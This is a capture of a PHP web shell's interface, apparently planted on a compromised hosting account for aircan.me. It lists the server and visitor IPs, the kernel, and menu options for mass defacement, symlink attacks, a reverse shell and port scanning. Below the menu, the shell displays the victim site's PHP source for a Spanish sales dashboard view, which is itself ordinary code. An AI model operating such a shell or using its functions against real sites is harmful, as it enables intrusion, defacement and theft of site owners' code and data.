Tul xxx Tul
User / IP
:
216.73.216.217
Host / Server
:
45.84.207.204 / aircan.me
System
:
Linux lt-bnk-web1726.main-hosting.eu 5.14.0-611.36.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Mar 3 11:23:52 EST 2026 x86_64
Command
|
Upload
|
Create
Mass Deface
|
Jumping
|
Symlink
|
Reverse Shell
Ping
|
Port Scan
|
DNS Lookup
|
Whois
|
Header
|
cURL
:
/
home
/
u931257429
/
domains
/
aircan.me
/
public_html
/
app
/
views
/
ventas
/
Viewing: index.php
<?php $success = $success ?? null; $error = $error ?? null; $ventas = $ventas ?? []; $totalVentas = $totalVentas ?? 0; $totalMonto = $totalMonto ?? 0; ?> <?php if ($success): ?> <div class="alert alert-success alert-dismissible fade show d-flex align-items-center" role="alert" style="border: none; border-radius: 10px; border-left: 4px solid #06d6a0;"> <i class="bi bi-check-circle-fill me-2"></i> <?= htmlspecialchars($success) ?> <button type="button" class="btn-close" data-bs-dismiss="alert"></button> </div> <?php endif; ?> <?php if ($error): ?> <div class="alert alert-danger alert-dismissible fade show d-flex align-items-center" role="alert" style="border: none; border-radius: 10px; border-left: 4px solid #ef476f;"> <i class="bi bi-exclamation-circle-fill me-2"></i> <?= htmlspecialchars($error) ?> <button type="button" class="btn-close" data-bs-dismiss="alert"></button> </div> <?php endif; ?> <!-- Estadísticas de ventas --> <div class="row g-3 mb-4"> <div class="col-6 col-lg-4"> <div class="stat-card primary animate-fade-in animate-delay-1"> <div class="stat-card-header"> <span class="stat-card-title">Total Ventas</span> <div class="stat-card-icon primary"><i class="bi bi-cart-check"></i></div> </div> <div class="stat-card-value"><?= $totalVentas ?></div> <div class="stat-card-change">Ventas registradas</div> </div> </div> <div class="col-6 col-lg-4"> <div class="stat-card success animate-fade-in animate-delay-2"> <div class="stat-card-header"> <span class="stat-card-title">Ingresos</span> <div class="stat-card-icon success"><i class="bi bi-currency-dollar"></i></div> </div> <div class="stat-card-value">$<?= number_format($totalMonto, 2) ?></div> <div class="stat-card-change">Monto total acumulado</div> </div> </div> <div class="col-12 col-lg-4"> <div class="stat-card info animate-fade-in animate-delay-3"> <div class="stat-card-header"> <span class="stat-card-title">Promedio</span> <div class="stat-card-icon info"><i class="bi bi-graph-up"></i></div> </div> <div class="stat-card-value">$<?= $totalVentas > 0 ? number_format($totalMonto / $totalVentas, 2) : '0.00' ?></div> <div class="stat-card-change">Por venta</div> </div> </div> </div> <!-- Tabla de ventas --> <div class="card-custom animate-fade-in"> <div class="card-header-custom"> <h5><i class="bi bi-cart3 me-2"></i>Registro de Ventas</h5> <a href="<?= BASE_URL ?>/ventas/create" class="btn btn-sm btn-primary-custom"> <i class="bi bi-plus-lg me-1"></i> Nueva Venta </a> </div> <div class="card-body-custom p-0"> <?php if (empty($ventas)): ?> <div class="empty-section"> <div class="empty-section-icon"><i class="bi bi-cart3"></i></div> <h4>Sin ventas registradas</h4> <p>Comienza registrando tu primera venta.</p> <a href="<?= BASE_URL ?>/ventas/create" class="btn btn-primary-custom"> <i class="bi bi-plus-circle me-2"></i>Registrar primera venta </a> </div> <?php else: ?> <div class="table-responsive"> <table class="table-custom"> <thead> <tr> <th>Cliente</th> <th class="d-none d-md-table-cell">Servicio/Sistema</th> <th class="text-end">Monto</th> <th class="d-none d-md-table-cell">Método</th> <th class="d-none d-lg-table-cell">Fecha</th> <th class="text-center" style="width: 150px;">Acciones</th> </tr> </thead> <tbody> <?php foreach ($ventas as $venta): ?> <tr> <td> <div> <?php $nombreCompleto = ''; if (!empty($venta['cliente_nombre'])) { $nombreCompleto = trim($venta['cliente_nombre'] . ' ' . $venta['cliente_apellido']); } ?> <?php if ($nombreCompleto): ?> <strong><?= htmlspecialchars($nombreCompleto) ?></strong> <div style="font-size: 0.75rem;"> <span class="badge-status active" style="font-size: 0.7rem; padding: 2px 8px;"> <i class="bi bi-person-fill" style="font-size: 0.55rem;"></i> Cliente </span> </div> <?php else: ?> <span class="text-muted">Sin asignar</span> <?php endif; ?> </div> </td> <td class="d-none d-md-table-cell"> <?php if (!empty($venta['servicio_nombre'])): ?> <i class="bi bi-gear me-1 text-muted" style="font-size: 0.8rem;"></i> <?= htmlspecialchars($venta['servicio_nombre']) ?> <?php elseif (!empty($venta['sistema_nombre'])): ?> <i class="bi bi-laptop me-1 text-muted" style="font-size: 0.8rem;"></i> <?= htmlspecialchars($venta['sistema_nombre']) ?> <?php elseif (!empty($venta['descripcion'])): ?> <span style="font-size: 0.85rem; color: var(--text-secondary);"> <?= htmlspecialchars(mb_strimwidth($venta['descripcion'], 0, 40, '...')) ?> </span> <?php else: ?> <span class="text-muted">—</span> <?php endif; ?> </td> <td class="text-end"> <span style="font-size: 1rem; font-weight: 700; color: var(--success);"> $<?= number_format(floatval($venta['monto']), 2) ?> </span> </td> <td class="d-none d-md-table-cell"> <?php // Mapeo de métodos de pago con iconos y colores $metodosDisplay = [ 'efectivo' => ['icon' => 'bi-cash', 'label' => 'Efectivo', 'color' => '#059669'], 'transferencia' => ['icon' => 'bi-bank', 'label' => 'Transferencia', 'color' => '#2563eb'], 'tarjeta' => ['icon' => 'bi-credit-card', 'label' => 'Tarjeta', 'color' => '#7c3aed'], ]; // Buscar el método en el mapeo o usar el valor directo if (isset($metodosDisplay[$venta['metodo_pago']])) { $met = $metodosDisplay[$venta['metodo_pago']]; } else { // Si no está en el mapeo, usar el valor directo formateado $met = [ 'icon' => 'bi-credit-card-2-front', 'label' => ucfirst($venta['metodo_pago']), 'color' => '#6b7280' ]; } ?> <span style="font-size: 0.82rem; color: <?= $met['color'] ?>;"> <i class="bi <?= $met['icon'] ?> me-1"></i><?= $met['label'] ?> </span> </td> <td class="d-none d-lg-table-cell"> <span style="font-size: 0.82rem; color: var(--text-secondary);"> <?php $fecha = new DateTime($venta['fecha_venta']); echo $fecha->format('d/m/Y g:i A'); ?> </span> </td> <td> <div class="d-flex justify-content-center gap-1"> <?php if (!empty($venta['cliente_telefono'])): ?> <a href="#" class="btn btn-sm btn-outline-success btn-whatsapp-venta" style="border-radius: 6px; padding: 4px 10px; font-size: 0.8rem;" title="Enviar por WhatsApp" data-telefono="<?= htmlspecialchars($venta['cliente_telefono']) ?>" data-cliente="<?= htmlspecialchars(trim($venta['cliente_nombre'] . ' ' . $venta['cliente_apellido'])) ?>" data-monto="<?= number_format(floatval($venta['monto']), 2) ?>" data-servicio="<?= htmlspecialchars($venta['servicio_nombre'] ?? $venta['sistema_nombre'] ?? 'Servicio') ?>" data-metodo="<?= htmlspecialchars($venta['metodo_pago']) ?>" data-fecha="<?= date('d/m/Y', strtotime($venta['fecha_venta'])) ?>"> <i class="bi bi-whatsapp"></i> </a> <?php endif; ?> <a href="<?= BASE_URL ?>/ventas/edit/<?= $venta['id'] ?>" class="btn btn-sm btn-outline-primary" style="border-radius: 6px; padding: 4px 10px; font-size: 0.8rem;" title="Editar venta"> <i class="bi bi-pencil"></i> </a> <button type="button" class="btn btn-sm btn-outline-danger" style="border-radius: 6px; padding: 4px 10px; font-size: 0.8rem;" title="Eliminar venta" onclick="confirmarEliminar(<?= $venta['id'] ?>)"> <i class="bi bi-trash"></i> </button> </div> </td> </tr> <?php endforeach; ?> </tbody> </table> </div> <?php endif; ?> </div> </div> <!-- Modal de confirmación de eliminación --> <div class="modal fade" id="modalEliminarVenta" tabindex="-1" aria-hidden="true"> <div class="modal-dialog modal-dialog-centered"> <div class="modal-content" style="border-radius: 12px; border: none; box-shadow: 0 10px 40px rgba(0,0,0,0.15);"> <div class="modal-header" style="border-bottom: 1px solid var(--border-color); padding: 20px 24px;"> <h5 class="modal-title" style="color: var(--danger); font-weight: 600;"> <i class="bi bi-exclamation-triangle-fill me-2"></i>Confirmar Eliminación </h5> <button type="button" class="btn-close" data-bs-dismiss="modal" aria-label="Close"></button> </div> <div class="modal-body" style="padding: 24px;"> <p style="font-size: 0.95rem; color: var(--text-primary); margin-bottom: 12px;"> ¿Estás seguro de que deseas eliminar esta venta? </p> <p style="font-size: 0.85rem; color: var(--text-secondary); margin-bottom: 0;"> <i class="bi bi-info-circle me-1"></i> Esta acción no se puede deshacer. Se eliminará permanentemente el registro de la venta. </p> </div> <div class="modal-footer" style="border-top: 1px solid var(--border-color); padding: 16px 24px;"> <button type="button" class="btn btn-sm btn-secondary" data-bs-dismiss="modal" style="border-radius: 6px; padding: 8px 20px;"> Cancelar </button> <form id="formEliminarVenta" method="POST" style="display: inline;"> <button type="submit" class="btn btn-sm btn-danger" style="border-radius: 6px; padding: 8px 20px;"> <i class="bi bi-trash me-1"></i>Eliminar Venta </button> </form> </div> </div> </div> </div> <script> function confirmarEliminar(ventaId) { const modal = new bootstrap.Modal(document.getElementById('modalEliminarVenta')); const form = document.getElementById('formEliminarVenta'); form.action = '<?= BASE_URL ?>/ventas/delete/' + ventaId; modal.show(); } // WhatsApp - Enviar mensaje de venta document.addEventListener('DOMContentLoaded', function() { document.querySelectorAll('.btn-whatsapp-venta').forEach(function(btn) { btn.addEventListener('click', function(e) { e.preventDefault(); const telefono = this.dataset.telefono; const cliente = this.dataset.cliente; const monto = this.dataset.monto; const servicio = this.dataset.servicio; const metodo = this.dataset.metodo; const fecha = this.dataset.fecha; // Limpiar número de teléfono (solo dígitos) const telefonoLimpio = telefono.replace(/\D/g, ''); // Formatear método de pago const metodosMap = { 'efectivo': 'Efectivo', 'transferencia': 'Transferencia Bancaria', 'tarjeta': 'Tarjeta de Crédito/Débito', 'otro': 'Otro' }; const metodoFormateado = metodosMap[metodo] || metodo.charAt(0).toUpperCase() + metodo.slice(1); // Crear mensaje formal y profesional const mensaje = `¡Hola ${cliente}! 👋 Gracias por confiar en nosotros. Te confirmamos los detalles de tu compra: ━━━━━━━━━━━━━━━━━━━━ 📦 *DETALLES DE LA VENTA* ━━━━━━━━━━━━━━━━━━━━ 🔹 *Servicio/Producto:* ${servicio} 💰 *Monto Total:* $${monto} 💳 *Método de Pago:* ${metodoFormateado} 📅 *Fecha:* ${fecha} ━━━━━━━━━━━━━━━━━━━━ ✅ Tu compra ha sido registrada exitosamente. Si tienes alguna pregunta o necesitas asistencia, no dudes en contactarnos. Estamos aquí para ayudarte. 🙌`; // Codificar mensaje para URL const mensajeCodificado = encodeURIComponent(mensaje); // Abrir WhatsApp const urlWhatsApp = `https://wa.me/${telefonoLimpio}?text=${mensajeCodificado}`; window.open(urlWhatsApp, '_blank'); }); }); }); </script>
Coded With 💗 by
0x6ick